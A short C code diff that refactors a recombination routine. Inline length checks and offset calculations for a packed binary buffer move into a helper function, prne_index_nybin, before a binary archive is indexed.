@@ -852,16 +852,9 @@ static char *do_recombination (const uint8_t *m_nybin, const size_t nybin_len) {
prne_init_bin_archive(&ba);
prne_init_bin_rcb_ctx(&rcb);
- if (nybin_len < 8) {
+ if (!prne_index_nybin(m_nybin, nybin_len, &m_dv, &dv_len, &m_ba, &ba_len)) {
goto END;
}
- dv_len = prne_recmb_msb16(m_nybin[0], m_nybin[1]);
- if (8 + dv_len > nybin_len) {
- goto END;
- }
- m_dv = m_nybin + 8;
- m_ba = m_nybin + 8 + prne_salign_next(dv_len, PRNE_BIN_ALIGNMENT);
- ba_len = nybin_len - (m_ba - m_nybin);
prc = prne_index_bin_archive(m_ba, ba_len, &ba);
if (prc != PRNE_PACK_RC_OK) {